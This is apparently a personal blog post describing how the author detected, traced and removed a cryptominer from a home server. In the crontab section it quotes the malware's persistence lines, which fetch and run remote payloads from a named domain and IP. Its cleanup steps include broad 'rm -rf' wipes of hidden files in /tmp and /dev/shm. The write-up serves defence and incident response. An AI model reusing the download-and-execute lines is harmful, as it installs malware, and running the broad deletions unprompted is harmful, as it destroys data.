Hunting a Cryptominer on My Personal Server

New Year's Day 2026 started with an unexpected gift: my personal server was mining cryptocurrency for someone else. Originally I would not even think about it, but my fiance called to tell me that a website I made for her was not timing out. This is unusual for a computationally cheap site, that has a tiny bit of cryptography on it and a few images. So, I went in and the rest is described below.

Here's how I detected, traced, and removed the infection while hungover and eating sausage on a bed of homemade fresh cold cabbage...

The First Sign: OOM Killer Going Crazy

I noticed something was wrong when checking dmesg output. The OOM (Out of Memory) killer was repeatedly terminating a process called linuxsys:

[200513.138822] Out of memory: Killed process 3808201 (linuxsys) total-vm:2434176kB
[200565.187244] Out of memory: Killed process 3808424 (linuxsys) total-vm:2434276kB
[200627.602163] Out of memory: Killed process 3808648 (linuxsys) total-vm:2434176kB
...

Several red flags here:

• A process named linuxsys — suspicious name trying to look legitimate
• Each instance consuming ~2.4GB of virtual memory
• Getting killed and immediately respawning (classic miner behavior)
• Running as UID 1000 (my user account, not root)

My server's memory on the linux container is quite limited, so it's not hard to reach the 4GB limit.

Finding the Persistence Mechanism

Cryptominers need to survive reboots and process kills. The most common persistence method on Linux is crontab. Running crontab -l revealed the infection:

* * * * * wget --timeout=10 --tries=3 --no-check-certificate -q -O - \
  https://repositorylinux.publicvm.com/linux.sh | sh > /dev/null 2>&1

30 3,15 * * * (wget -q -O /tmp/corn http://162.55.234.175:4082/installsh || \
  curl -fsSL http://162.55.234.175:4082/installsh -o /tmp/corn) && \
  chmod +x /tmp/corn && /tmp/corn >/dev/null 2>&1; rm -f /tmp/corn

The malware had two persistence strategies:

1. Every minute: Download and execute a shell script from repositorylinux.publicvm.com
2. Twice daily (3:15 AM/PM): Download payload from 162.55.234.175:4082, save to /tmp/corn, execute, then delete

Notice the self-cleaning behavior: rm -f /tmp/corn removes the payload after execution. This makes forensics harder since the binary doesn't persist on disk.

The Removal Process

Removing a cryptominer requires eliminating both the running process AND the persistence mechanism. Here's the exact sequence I used:

Step 1: Wipe the Crontab

crontab -r

This removes the entire crontab, eliminating the persistence mechanism. The miner can't respawn after this.

Step 2: Kill All Miner Processes

pkill -9 -f linuxsys
pkill -9 -f corn
pkill -9 -f xmrig
pkill -9 -f kdevtmpfsi

Step 3: Remove Malware Files

rm -f /tmp/corn /tmp/linuxsys /tmp/linux.sh
rm -f /var/tmp/corn /var/tmp/linuxsys
rm -rf /tmp/.* 2>/dev/null
rm -rf /dev/shm/.* 2>/dev/null

Step 4: Block the C2 Servers

sudo bash -c 'echo "127.0.0.1 repositorylinux.publicvm.com" >> /etc/hosts'
sudo iptables -A OUTPUT -d 162.55.234.175 -j DROP

Step 5: Verify the Cleanup

crontab -l          # Should show "no crontab for user"
pgrep -a linuxsys   # Should return nothing
free -h             # Memory should be back to normal

How Did They Get In?

This is the harder question. Common entry vectors for cryptominer infections include:

• Exposed services without authentication: Redis, MongoDB, Docker API
• Compromised dependencies: Malicious npm/pip packages
• Weak SSH credentials: Brute-forced passwords
• Vulnerable web applications: RCE exploits in outdated software

Since the malware ran as my user (not root), the attacker likely exploited a vulnerability in one of my web applications or gained access through compromised credentials.

Lessons Learned

1. Monitor your OOM killer: Repeated OOM kills of unknown processes are a major red flag
2. Audit crontabs regularly: Run crontab -l periodically
3. Keep software updated: Patch known vulnerabilities promptly
4. Use strong authentication: SSH keys over passwords, fail2ban for brute force protection
5. Principle of least privilege: Run services with minimal permissions

If you see any of these on your server, you're likely infected with the same malware family. Happy hunting, and may your servers stay clean in 2026.